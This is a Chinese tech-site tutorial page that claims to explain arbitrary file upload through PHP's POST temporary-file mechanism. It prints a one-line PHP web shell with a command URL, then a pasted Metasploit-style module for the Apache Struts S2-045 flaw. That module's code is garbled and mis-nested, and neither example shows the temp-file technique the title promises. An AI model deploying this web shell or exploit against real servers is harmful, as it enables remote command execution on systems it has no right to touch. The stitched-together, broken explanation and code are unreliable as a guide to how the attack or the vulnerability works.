利用PHP POST临时文件机制实现任意文件上传的方法详解

理解题意:要求提供一份完整的攻略,介绍如何通过PHP的POST临时文件机制实现任意文件上传。攻略需要包括原理、步骤以及至少两个具体的示例说明。

原理

POST请求中可以包含上传文件的内容,通过PHP的$_FILES全局变量可以获得上传文件的信息,同时,PHP会在服务器本地创建一个临时文件,该临时文件可以在后续的操作中用到。

读取临时文件的方式有很多种,攻击者可以通过该方式上传恶意文件,从而实现攻击目标。

步骤

以下是基本步骤:

  1. 构造文件上传的POST请求,向目标服务器发送请求。
  2. 服务器接收到请求,会把上传的文件信息存储在$_FILES中,同时创建一个临时文件。
  3. 攻击者读取临时文件,进行后续的恶意操作。

示例一

以下是一个基本的文件上传攻击的示例:(假设目标服务器存在upload.php文件,可以接收文件上传请求)

<form enctype="multipart/form-data" action="http://example.com/upload.php" method="POST">
    <input type="hidden" name="MAX_FILE_SIZE" value="100000" />
    <input type="file" name="userfile" />
    <input type="submit" value="Upload File" />
</form>

攻击者可以通过此界面上传任意文件,其中name属性为userfile的input标签中的文件即为上传的文件。

例如,攻击者可以上传一个名为“evil.php”的文件,其中包含如下代码:

<?php
    system($_GET['cmd']);
?>

接着,攻击者可以在URL中发送一条如下所示的命令:

http://example.com/uploads/evil.php?cmd=whoami

这会运行whoami命令并将结果返回到攻击者的浏览器中。

示例二

在例子一中,攻击者可以通过查询uploaded_files数组来检查是否已经成功上传文件。但是使用这种方法时还必须知道从哪个文件上传目录查找上传的文件。为了使攻击更加隐蔽,攻击者可以使用PoC工具生成来攻击的链接,例如,以下是一段从Metasploit工具中获取的PoC脚本:

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule &lt; Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern =&gt; [ /Apache/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           =&gt; 'Apache Struts Jakarta Multipart Parser OGNL Injection (S2-045)',
      'Description'    =&gt; %q{
          This module exploits a remote code execution vulnerability in Apache
        Struts version between 2.3.5 and 2.3.31 (except 2.3.20.2 and 2.3.24.2).
        Remote Code Execution can be performed via a malicious Content-Type value.
        This module uses the 'Content-Type' header to specify the payload.
      },
      'License'        =&gt; MSF_LICENSE,
      'Author'         =&gt;
        [
          'Nixawk', #fuzzbunch.py from shadowbrokers arsenal
          'Nixawk'  #metasploit moduel from fuzzbunch exploit
        ],
      'References'     =&gt;
        [
          [ 'CVE', '2017-5638' ],
          [ 'URL', 'http://seclists.org/oss-sec/2017/q1/536' ],
          [ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045' ],
          [ 'URL', 'https://www.exploit-db.com/exploits/41570/' ]
        ],
      'Privileged'     =&gt; false,
      'Payload'        =&gt;
        {
          'Space'       =&gt; 2000, # 1024 * 1024 = 1M
          'DisableNops' =&gt; true,
          'Compat'      =&gt; {
            'PayloadType' =&gt; 'cmd',
            'RequiredCmd' =&gt; 'generic python ruby bash telnet',
          }
        },
      'Platform'       =&gt; %w{ linux unix win },
      'Arch'           =&gt; ARCH_CMD,
      'Targets'        =&gt;
        [
          ['Apache Struts 2.3 - 2.3.31 (except 2.3.20.2 and 2.3.24.2)', { 'auto' =&gt; true }]
        ],
      'DefaultTarget'  =&gt; 0,
      'DisclosureDate' =&gt; 'Mar 06 2017'))

      deregister_options('Proxies')
      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('TARGETURI', [true, 'The URI path of the Struts application', '/struts2-showcase/']),
          OptString.new('CMD', [false, 'The command to execute', 'uname -a']),
        ])

  end

  def check
    flag_p = rand_text_alpha(8)
    flag_v = rand_text_alpha(8)
    poc = '&lt;P&gt;#{%27%25%28%27+"%2b'+flag_p+'+"%2b%27%25%28%27}suman%{#'+flag_v+'%3d7*7}.test%{#'+flag_v+'}</p>'

    res = send_request_cgi({
      'uri' =&gt; normalize_uri(target_uri.path, 'acctglaze', 'dispatch.action'),
      'method' =&gt; 'GET',
    })

    if res && res.code == 200 && res.body =~ /name="k1" id="k1"/
      print_good("#{peer} - Apache Struts &lt; 2.3.31 (except 2.3.20.2 && 2.3.24.2) detected!")
      return Exploit::CheckCode::Appears
    elsif res && res.code == 200 && res.body =~ /#{flag_p}/ && res.body =~ /#{flag_v}/
      print_good("#{peer} - Apache Struts &lt; 2.3.31 (except 2.3.20.2 && 2.3.24.2) detected!")
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def upload_exe(cmd)
    exe_out = generate_payload_exe
    post_data = Rex::MIME::Message.new
    post_data.add_part("suman", nil, nil, "form-data; name=\"name\"")
    post_data.add_part(exe_out, 'application/octet-stream', nil, "form-data; name=\"userid\";filename=\"test.txt\"")
    data = post_data.to_s.gsub(/^\r\n\-\-\_Part/, '--_Part')
    boundary = "--_Part"

    res = send_request_cgi(
      {
        'uri'     =&gt; normalize_uri(target_uri.path, '/ajax', '/upload.action'),
        'method'  =&gt; 'POST',
        'ctype'   =&gt; "multipart/form-data; boundary=#{boundary}",
        'data'    =&gt; data
      })

    if res && res.body =~ /"savename":".*?"/m
      filename = res.body.scan(/"savename":"(.*?)"/m).flatten.first.gsub(/\\u0027/,"'")
      print_status("The file \"#{filename}\" has been uploaded via payload.")
      @_path = filename
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed: #{res.code} #{res.message}")
    end
  end

  def execute_command(cmd, opts={})
    payload_exe = "#{@tempdir}/#{@rand}.exe"

    begin
        upload_exe(cmd)
        res = send_request_cgi(
        {
          'uri'     =&gt; normalize_uri(target_uri.path, '?'),
          'method'  =&gt; 'POST',
          'ctype'   =&gt; 'application/x-www-form-urlencoded',
          'data'    =&gt; "name=%27%2b%28%28%27#{URI.escape(opts[:prefix]||''+(rand_text_alpha(8))}%27%29%29%2b%27&age=y&description=nagehoh&myPhoto=#{/.*\/(.*)/.match(@_path)[1]}&submit=Submit#"
        }
      )

        @exe_cmd = "#{payload_exe} #{@payload_name} #{@payload_q}"
      end

      def exploit
        print_status("#{peer} - Checking if the target is vulnerable...")
        check_code = check

        if check_code == Exploit::CheckCode::Appears
          print_status("#{peer} - Uploading and executing the payload...")
          execute_command(payload.raw, :prefix =&gt; 'echo %COMSPEC% > ')

          if res && res.code == 200 && res.body =~ /#{payload.raw}/
            print_good("#{peer} - #{res.body}")
          else
            fail_with(Failure::UnexpectedReply, "#{peer} - Failed to execute the payload.")
          end
        else
          fail_with(Failure::NotVulnerable, "#{peer} - Target is not vulnerable.")
        end
      end
    end
end

该脚本会在上传时将恶意代码转换为字符串,并通过POST请求上传。如果攻击成功,该脚本会在服务器上运行Payload包含的命令,攻击者随后便可以在自己的机器上获取命令执行结果。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:利用PHP POST临时文件机制实现任意文件上传的方法详解 - Python技术站

(0)
上一篇 2023年5月26日
下一篇 2023年5月26日

相关文章

  • php基于session锁防止阻塞请求的方法分析

    下面是“php基于session锁防止阻塞请求的方法分析”的完整攻略: 1. 什么是session锁? 在 PHP 里面,session 锁是用来保护具有相同 session id 的请求并发执行时,避免发生数据混乱或重复操作等问题。如果不加锁,当多个请求同时访问同一 session 数据时,就会出现数据上的混乱问题。所以,我们常常需要使用session 锁…

    PHP 2023年5月27日
    00
  • 解析用PHP读写音频文件信息的详解(支持WMA和MP3)

    解析用PHP读写音频文件信息的详解(支持WMA和MP3) 背景介绍 随着音频流行,数字音频文件越来越受欢迎。通常,这些文件存储有关音频的元数据,例如标题,表演者和发行日期等信息。在PHP中,有多种方法可以读取和写入这些元数据,例如ID3v2标签,APEv2标签和Windows Media Audio(WMA)标记,本文将详细讲解如何解析WMA或MP3文件中的…

    PHP 2023年5月26日
    00
  • 用php简单实现加减乘除计算器

    当用户在网站上需要进行加减乘除计算时,我们可以使用PHP语言来实现计算器的功能。下面是使用PHP实现计算器的完整攻略: 设计表单界面 首先,我们需要创建一个表单页面,其中包含输入框和运算符选项。例如,下面的代码: <!DOCTYPE html> <html> <head> <title>简单计算器</ti…

    PHP 2023年5月27日
    00
  • php 数组处理函数extract详解及实例代码

    PHP中,数组是一种非常重要的数据类型,它可以存储大量数据并进行各种操作。PHP内置了许多用于处理数组的函数,其中一个比较有用的函数是extract()。本文将详细讲解extract函数的用法及实例代码。 什么是extract函数 extract是PHP内置的一个数组处理函数,用于将数组中的元素转换为独立的变量。它的原型如下: extract(array $…

    PHP 2023年5月26日
    00
  • php面向对象全攻略 (四)构造方法与析构方法

    下面我将为你详细讲解“php面向对象全攻略(四)构造方法与析构方法”的完整攻略。 一、什么是构造方法和析构方法? 在面向对象编程中,构造方法和析构方法是两个重要的概念。 构造方法 构造方法是一种特殊的方法,它在对象创建时被调用。它用于对新创建的对象进行初始化操作,比如给成员变量赋初值等。 在PHP中,构造方法的函数名必须是__construct,它没有任何返…

    PHP 2023年5月25日
    00
  • 第七章 php自定义函数实现代码

    关于“第七章 php自定义函数实现代码”的完整攻略,我可以给你一份详细讲解。具体内容如下: 一、什么是PHP自定义函数? 在PHP中,函数是指一段可以重复利用的程序代码块,可以接收输入的参数并根据这些参数进行计算,并将计算结果输出。而PHP自定义函数是指我们自己编写的函数,用于解决特定问题或完成特定任务。 自定义函数的主要优点在于: 可以提高代码的重用性,减…

    PHP 2023年5月27日
    00
  • php中的钩子理解及应用实例分析

    PHP中的钩子理解及应用实例分析 什么是钩子 钩子是一种机制,可以将现有的代码带入自己的代码中,从而更改原有的代码行为,通常可以在不修改原有代码的情况下添加、修改或删除一些功能或事件。 在PHP中,钩子通常是通过回调函数(callback)实现的,即将一个函数作为参数传递到另一个函数中,以便在适当的时候执行该函数。 钩子的应用场景 钩子通常用于以下几个场景:…

    PHP 2023年5月23日
    00
  • 详解php内存管理机制与垃圾回收机制

    详解PHP内存管理机制与垃圾回收机制 前言 PHP是一种高级编程语言,其自动内存管理和垃圾回收机制可以帮助开发者避免手动内存管理的麻烦,但也需要开发者了解其内存管理机制和垃圾回收机制,才能更好地编写高效的代码。 PHP内存管理机制 PHP内存管理机制是通过Zend Memory Manager实现的,其主要分配和管理以下几种类型的内存: Per-Reques…

    PHP 2023年5月24日
    00
合作推广
合作推广
分享本页
返回顶部